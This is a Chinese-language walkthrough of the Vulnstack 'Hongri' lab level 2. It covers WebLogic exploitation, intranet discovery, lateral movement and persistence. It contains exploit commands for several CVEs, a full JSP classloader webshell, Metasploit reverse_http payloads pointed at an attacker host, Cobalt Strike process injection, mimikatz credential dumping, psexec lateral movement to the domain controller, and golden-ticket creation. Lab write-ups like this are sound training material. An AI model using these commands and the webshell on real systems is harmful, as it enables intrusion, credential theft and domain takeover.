红日靶机vulnstack第二关

环境配置

下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

主机名字 IP
DC.de1ay.com 10.10.10.10(内网)
WEB.de1ay.com 10.10.10.80(内网)/192.168.111.80(外网)
PC.de1ay.com 10.10.10.20(内网)/192.168.111.201(外网)
攻击机kali 192.168.1.129(外网)

默认密码有:

  • de1ay:1qaz@WSX
  • de1ay\administrator:1qaz@WSX

使用管理员账号登录WEB.de1ay.com,然后在以下的路径中开启图中的三个服务,开启web服务。

红日靶机vulnstack第二关_第1张图片

然后需要关闭防火墙,我这里没有关闭的时候连ping都ping不通。

外网

信息收集

使用nmap扫描192.168.111.0网段

nmap -Pn 192.168.111.0/24

红日靶机vulnstack第二关_第2张图片

对上面收集到的信息进行集中

IP 端口
192.168.111.80 80、135、139、445、1433、3389、7001(weblogic)、49152、49153、49154
192.168.111.201 135、139、445、3389、49152、49153、49154、49155

发现80主机存在80端口和7001端口,然后先对80进行访问,发现是一个空页面

红日靶机vulnstack第二关_第3张图片

然后对7001端口进行访问,发现是一个404页面

红日靶机vulnstack第二关_第4张图片

对80、7001端口进行目录扫描,因为这两个都是有可能是web端口。经过扫描后发现80没有什么有价值的,然后7001端口存在console端口。

红日靶机vulnstack第二关_第5张图片

对console进行登录,发现是一个weblogic登录页面。

红日靶机vulnstack第二关_第6张图片

使用weblogicScanner扫描工具(该工具比WeblogicScan工具所能扫描到的漏洞更多)进行扫描

该扫描工具的下载地址:https://github.com/0xn0ne/weblogicScanner
python3 ./ws.py -t 192.168.111.80 -o ./end(输出的文件夹)

对输出的json文件放到JSON在线视图查看器进行查看,发现存在许多漏洞。

红日靶机vulnstack第二关_第7张图片

除了使用上面的weblogic工具外,还可以使用一款集合了weblogic的集成工具进行漏洞的探测。

下载地址:链接: https://pan.baidu.com/s/1Sm4c3pXjZP-_Rd5IfBbcCA?pwd=spg9 提取码: spg9 复制这段内容后打开百度网盘手机App,操作更方便哦

并且发现这里检测到的漏洞比上面扫描到的漏洞要少很多,只有一个CVE-2020-2551。

红日靶机vulnstack第二关_第8张图片

漏洞整理

整理下上面得到的三个洞的信息。

漏洞编号 漏洞信息
CVE-2014-4210 SSRF漏洞
CVE-2017-3506 weblogic wls-wsat组件远程命令执行
CVE-2017-10271 weblogic wls组件远程命令执行漏洞
CVE-2018-3191 weblogic远程代码执行漏洞
CVE-2018-3245 weblogic反序列化远程代码执行漏洞
CVE-2019-2618 weblogic任意文件上传漏洞
CVE-2019-2725 weblogic反序列化远程命令执行漏洞
CVE-2019-2729 weblogic反序列化漏洞命令执行漏洞,和CVE-2019-2725类似
CVE-2019-2888 weblogic未受权XXE漏洞
CVE-2020-2551 weblogic IIOP反序列化漏洞
CVE-2020-2883 weblogic反序列化
CVE-2020-14882 weblogic未授权命令执行漏洞

外网漏洞利用

一、CVE-2014-4210(SSRF漏洞,失败)
  1. 访问http://192.168.111.80:7001/uddiexplorer/,发现无需登录就可以查看uddiexplorer网页,有可能存在该CVE-2014-4210漏洞。

红日靶机vulnstack第二关_第9张图片

  1. 使用burpsuit进行抓包,发现存在一个疑似ssrf的payload:operator。

红日靶机vulnstack第二关_第10张图片

红日靶机vulnstack第二关_第11张图片

  1. 但是在实际使用burpsuit进行内网探测的时候,发现无论是存在的ip还是不存在的ip,他的返回结果都是一样的,无法判断内网中是否存在该ip,因此该漏洞无法利用。

    • 不存在该ip的返回页面
      红日靶机vulnstack第二关_第12张图片
    • 存在该ip值时的返回页面
      红日靶机vulnstack第二关_第13张图片
  2. 我这里本来想要验证是否存在该SSRF漏洞的,可是无论我访问的是dnslog还是ceye,都无法访问,因此无法验证是否存在该漏洞。

    红日靶机vulnstack第二关_第14张图片

二、CVE-2017-3506(weblogic wls-wsat组件远程命令执行,成功且可以拿下webshell)
  1. 访问http://192.168.111.80:7001/wls-wsat/CoordinatorPortType,出现下图所示的页面说明可能存在该CVE-2017-3506漏洞

红日靶机vulnstack第二关_第15张图片

  1. 使用WebLogic-XMLDecoder.jar工具进行检测,发现该漏洞存在,该工具的下载地址:https://github.com/Al1ex/CVE-2017-3506
java -jar WebLogic-XMLDecoder.jar -u http://192.168.111.80:7001

红日靶机vulnstack第二关_第16张图片

  1. 使用该工具上传木马
java -jar WebLogic-XMLDecoder.jar -s http://192.168.111.80:7001 /wls-wsat/CoordinatorPortType shell.jsp

image-20220617135441346

  1. 访问生成木马的url,发现能够执行系统命令了。
http://192.168.111.80:7001/wls-wsat/shell.jsp?password=secfree&command=whoami

image-20220617135545970

三、CVE-2017-10271(weblogic wls组件远程命令执行漏洞,成功且可以拿下webshell)
  1. 访问该网页http://192.168.111.80:7001/wls-wsat/CoordinatorPortType,如果出现如图所示的页面就说明有可能存在该CVE-2017-10271漏洞。(该漏洞是在CVE-2017-3506打了补丁后绕过的一种方式)

红日靶机vulnstack第二关_第17张图片

  1. 直接使用工具,发现存在该漏洞,并且利用成功了。

红日靶机vulnstack第二关_第18张图片

  1. 使用MSF进行漏洞利用
search CVE-2017-10271
use 1
set target Windows
set lhost 192.168.111.128
set lport 1111
set rhosts 192.168.111.80
run

红日靶机vulnstack第二关_第19张图片

四、CVE-2018-3191(weblogic远程代码执行漏洞,失败)
  1. 使用工具检测,发现没有该漏洞。

红日靶机vulnstack第二关_第20张图片

五、CVE-2018-3245(weblogic反序列化远程代码执行漏洞,失败)
  1. 使用工具检测,发现没有该漏洞。

红日靶机vulnstack第二关_第21张图片

六、CVE-2019-2618(weblogic任意文件上传漏洞,成功且可以拿下webshell)
  1. 该漏洞需要登录后台之后才能上传,该靶场网页的默认密码的是weblogic/1qaz@WSX

红日靶机vulnstack第二关_第22张图片

  1. 使用工具进行验证,需要账号密码,下载地址是:https://github.com/jas502n/cve-2019-2618
python2 ./cve-2019-2618.py http://192.168.111.80:7001 weblogic 1qaz@WSX

红日靶机vulnstack第二关_第23张图片

  1. 访问生成后的url,http://192.168.111.80:7001/bea_wls_internal/shell.jsp,并且执行ipconfig命令,发现执行成功

红日靶机vulnstack第二关_第24张图片

  1. 根据该命令执行的窗口,我们可以写入一句话木马。通过上帝视角查看web机器的目录,发现shell.jsp的路径是C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war,这里需要注意下,不同的webshell管理工具,他们的连接木马是不一样的。(PS:本人浪费了一个多小时才注意到。。。,还需要注意的是echo中出现左右尖括号的时候,需要在尖括号前面添加^符号来进行转义处理,否者就会出错)
echo ^<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%^>
^<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%^> > C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war\cmd4.jsp

image-20220617163154542

  1. 蚁剑连接。

红日靶机vulnstack第二关_第25张图片

七、CVE-2019-2725(weblogic反序列化远程命令执行漏洞,成功且可以拿下webshell)
  1. 使用工具检测,发现存在该漏洞

红日靶机vulnstack第二关_第26张图片

八、CVE-2019-2729(weblogic反序列化漏洞命令执行漏洞,和CVE-2019-2725类似)
  1. 使用工具检测,发现存在该漏洞

红日靶机vulnstack第二关_第27张图片

九、CVE-2019-2888(weblogic未受权XXE漏洞,失败)

会用到的工具:

  • https://github.com/jas502n/CVE-2019-2888
  • https://github.com/TheTwitchy/xxer
  1. xxer开启监听
python3 xxer.py -p 8989(端口) -H 192.168.111.128(xxer所在的ip地址)

红日靶机vulnstack第二关_第28张图片

  1. 运行CVE-2019-2888
python2 weblogic.py 192.168.111.80(weblogic的ip地址) 7001(weblogic的端口)

红日靶机vulnstack第二关_第29张图片

  1. 查看xxer的信息,发现并没有返回任何信息,说明该漏洞利用失败

红日靶机vulnstack第二关_第30张图片

十、CVE-2020-2551(weblogic IIOP反序列化漏洞,失败)
  1. 使用工具扫描,发现并没有该漏洞

红日靶机vulnstack第二关_第31张图片

十一、CVE-2020-2883(weblogic反序列化)
  1. 挖个坑,看不懂该漏洞要如何去复现,以后学会了再回头搞。
十二、CVE-2020-14882(weblogic未授权命令执行漏洞,失败)
  1. 使用工具进行检测,发现并没有漏洞,下载地址:https://github.com/GGyao/CVE-2020-14882_ALL
python3 CVE-2020-14882_ALL.py -u http://192.168.111.80:7001 -c "whoami"

红日靶机vulnstack第二关_第32张图片

漏洞总结

在这十二个漏洞中,能直接拿下webshell的有CVE-2017-3506、CVE-2017-10271、CVE-2019-2618、CVE-2019-2725、CVE-2019-2729有这五个漏洞。下面就不演示如何webshell了,考虑到在实战中是没有上帝视角的,因此只考虑 CVE-2017-10271 ,而不考虑和第六个洞:CVE-2019-2618 类似的需要web目录的的情况。

内网

进程注入

在拿到webshell后,第一步要查看进程列表,要将MSF的进程注入到explorer.exe中,因为该进程一般不会被关闭。

红日靶机vulnstack第二关_第33张图片

使用migrate命令注入到explorer.exe进程中

image-20220617220302066

MSF和CS联动

创建CS监听器,具体的配置如图所示

红日靶机vulnstack第二关_第34张图片

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.111.128
set lport 9999
set session 1
run

image-20220617222233496

注入下进程,防止被杀掉

inject 2240(注入的进程号) x64 msf-cs(监听器名字)

红日靶机vulnstack第二关_第35张图片

CS和MSF联动

首先CS要生成一个外部的监听器(Foreign HTTP/HTTPS)

红日靶机vulnstack第二关_第36张图片

MSF使用和刚生成监听器一样的监听模块

use exploit/multi/handler
set payload windows/meterpreter/reverse_http或者是set payload windows/meterpreter/reverse_https
set lhost 192.168.111.128
set lport 9876

然后在CS中新建会话,选择刚生成的监听器

红日靶机vulnstack第二关_第37张图片

回到MSF中查看,发现联动成功

image-20220618155221126

信息收集

1.查看杀软信息

我这里使用梼杌插件查看,发现存在一个360和另外两个杀软。

红日靶机vulnstack第二关_第38张图片

2.收集内外网信息

首先是收集有多少个网段,这里发现有两个,一个是10.10.10.80,还有一个是192.168.111.80。

红日靶机vulnstack第二关_第39张图片

收集存在的域
shell net view /domain

红日靶机vulnstack第二关_第40张图片

查看域管理员
shell net group "domain admins" /domain

红日靶机vulnstack第二关_第41张图片

查看主域控制器
shell netdom query pdc

红日靶机vulnstack第二关_第42张图片

查看域控
shell net group "Domain Controllers" /domain

红日靶机vulnstack第二关_第43张图片

查看SID
shell whoami /all

红日靶机vulnstack第二关_第44张图片

查看当前登录的域
shell net config workstation

红日靶机vulnstack第二关_第45张图片

还可以使用梼杌插件进行一键获取所有的信息

红日靶机vulnstack第二关_第46张图片

使用梼杌插件中的查看所有用户的sid,具体操作是梼杌->信息收集->查看mstsc记录->查看所有用户的记录

红日靶机vulnstack第二关_第47张图片

使用梼杌中的Mimikatz获取明文密码

红日靶机vulnstack第二关_第48张图片

在CS中选择文件浏览,选择把nbtscan工具上传到靶机中,然后就可以在web机器中运行nbtscan工具了。
shell C:\Windows\system32\nbtscan.exe 10.10.10.1/24

红日靶机vulnstack第二关_第49张图片

使用MSF挂socks代理,进行内网的端口扫描

use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 1080
run

vi /etc/proxychains.conf
#socks 127.0.0.1 9050
socks5 127.0.0.1 1080

红日靶机vulnstack第二关_第50张图片

使用nmap扫描,但是发现扫描的结果并不符合实际情况,他这里的扫描结果没有一个是开放的,这不符合实际情况。

红日靶机vulnstack第二关_第51张图片

使用CS自带的扫描,具体的的操作是:视图->目标列表->目标列表中的主机右击选择扫描,选择所得到的会话,然后点击运行

image-20220618171527932

这里列举下其中的DC端口扫描的结果,查看具体的结果是右击选择服务,其余两台主机的操作一样

红日靶机vulnstack第二关_第52张图片

横向移动

psexec

使用psexec进行横向移动,横向移动的前提是需要获取到NTLM值,然后点击视图->目标列表->DC右键->横向移动->psexec->选择其中的一个user、password、DE1AY,随便选择一个监听器和会话。

红日靶机vulnstack第二关_第53张图片

拿下域控DC了

image-20220618174751714

同样的流程,我们可以如法炮制拿下PC机

image-20220618174840932

权限维持

黄金票据

黄金票据需要域成员名、域成员密码、域控地址(10.10.10.10)、域sid、krbtgt哈希值,其中krbtgt哈希值是要拿到域控之后在域控里面才能拿到的,因此黄金票据是只能在拿到域控之后的权限维持操作。

首先在域控里面运行hashdump命令获取krbtgt的哈希值

红日靶机vulnstack第二关_第54张图片

在DC右键生成黄金票据,输入所需要的数据。

红日靶机vulnstack第二关_第55张图片

生成黄金票据成功

红日靶机vulnstack第二关_第56张图片

你可能感兴趣的:(哈希算法,web安全,安全)